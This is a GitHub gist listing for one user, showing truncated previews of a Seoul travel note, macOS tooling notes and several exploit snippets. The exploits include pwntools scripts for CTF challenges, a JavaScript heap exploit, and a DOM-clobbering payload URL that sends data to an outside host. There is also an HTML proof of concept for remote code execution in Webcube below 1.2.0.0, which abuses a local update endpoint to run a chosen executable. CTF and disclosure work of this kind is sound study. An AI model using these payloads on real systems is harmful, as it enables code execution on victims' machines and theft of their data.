Skip to content

Instantly share code, notes, and snippets.

@po6ix
po6ix / South_Korea.md
Last active November 2, 2023 03:13
South Korea

Seoul

Seoul is the vibrant capital city of South Korea, known for its rich history, cutting-edge technology, and dynamic culture. As the heart of the country, Seoul is a bustling metropolis that seamlessly blends tradition with modernity. (ChatGPT)

Transportation

There are four kinds of transportation available in Seoul.

  1. Subway
@po6ix
po6ix / fetch-libimobiledevice.sh
Created September 29, 2023 23:58 — forked from Lessica/fetch-libimobiledevice.sh
Fetch libraries and executables for macOS from libimobiledevice artifacts. This script will make executables runnable without install them to specific paths.
#!/bin/sh
set -e
if ! test -x "`which ldid`"; then
echo "Cannot find ldid, you may install it via Homebrew."
exit 1
fi
if [ ! -d "$(xcode-select -p)" ]; then
@po6ix
po6ix / mac-enable-libfuzzer.md
Created September 29, 2023 19:56 — forked from mcandre/mac-enable-libfuzzer.md
macOS Enable libFuzzer
  1. Run brew install llvm --HEAD.
  2. Update certain shell variables:
# Prefer newer LLVM with fuzzing enabled
# shellcheck source=/dev/null
export CC='clang'
export CXX='clang++'
export LDFLAGS="-L/usr/local/opt/llvm/lib -Wl,-rpath,/usr/local/opt/llvm/lib"
PATH="$(brew --prefix)/opt/llvm/bin:$PATH"
@po6ix
po6ix / exp.js
Last active September 24, 2023 14:46
Asis CTF 2023 - night.js exploit
refs = new Array(0x100);
// chunk consumer
for (let i = 0; i < 0x20; ++i) {
refs.push(new ArrayBuffer(0x200));
refs.push(new Array(0x130));
refs.push(new Array(0x40));
}
// libc leak
@po6ix
po6ix / libmalloc.py
Last active May 23, 2023 22:32
libsystem_malloc.dylib free list parser
import lldb, struct, shutil
COLOR_YELLOW = '\x1b[33m'
COLOR_GREEN = '\x1b[32m'
COLOR_BLUE = '\x1b[34m'
COLOR_RED = '\x1b[31m'
COLOR_GREY = '\x1b[90m'
COLOR_WHITE = '\x1b[0m'
COLOR_MAGENTA = '\x1b[35m'
COLOR_CYAN = '\x1b[36m'
@po6ix
po6ix / poc.html
Last active September 8, 2022 22:04
Webcube < 1.2.0.0 RCE
<script>
flag = 0;
window.onload = window.onfocus = () => {
if (flag) return;
fetch('http://127.0.0.1:4567/WebCube/RetCmd?CmdMethod(1061,"1199",5678,"Update is prepared for Webcube!",1111,2222,"<EXE_URL_SIGNED_WITH_TERUTEN>")', {method:'POST'})
};
window.onblur = () => {
if (flag) return;
flag = 1;
@po6ix
po6ix / CookieSpinner.md
Last active December 12, 2021 14:34
SECCON CTF 2021
http://web:3000/?window=parentNode&?window=parentNode&view=%3Cform+id=parentNode+name=parentNode%3E%3Cinput+id=parentNode%3E%3C/form%3E%3Ca+id=parentNode+name=location+href=%22http://p6.is:1234?%22%3E%3C/a%3E%3Cx%20i=%22
@po6ix
po6ix / babyrop.py
Created June 14, 2021 08:19
Circle City Con CTF 2021
from pwn import *
# p = process('./babyrop')
p = remote('remote1.thcon.party', 10900)
e = ELF('./babyrop')
libc = ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
pop_rdi = 0x00000000004012c3
pop_rsi = 0x00000000004012c1
ret = 0x000000000040101a
@po6ix
po6ix / fawncdn.py
Created June 14, 2021 01:22
Circle City Con CTF 2021
from pwn import *
# p = process('./chall')
p = remote('35.224.135.84', 1001)
p.sendlineafter('>', '1')
pie_leak = int(p.recvline()[40:-3], 16)
pie_base = pie_leak - 0x1390
print(hex(pie_leak))
@po6ix
po6ix / AP-ABCs.py
Last active June 14, 2021 01:20
BCACTF 2.0
from pwn import *
# p = process('./ap-abcs')
p = remote('bin.bcactf.com', 49154)
payload = b'\0'*(0x50-0x4)
payload += p32(0x73434241)
p.sendline(payload)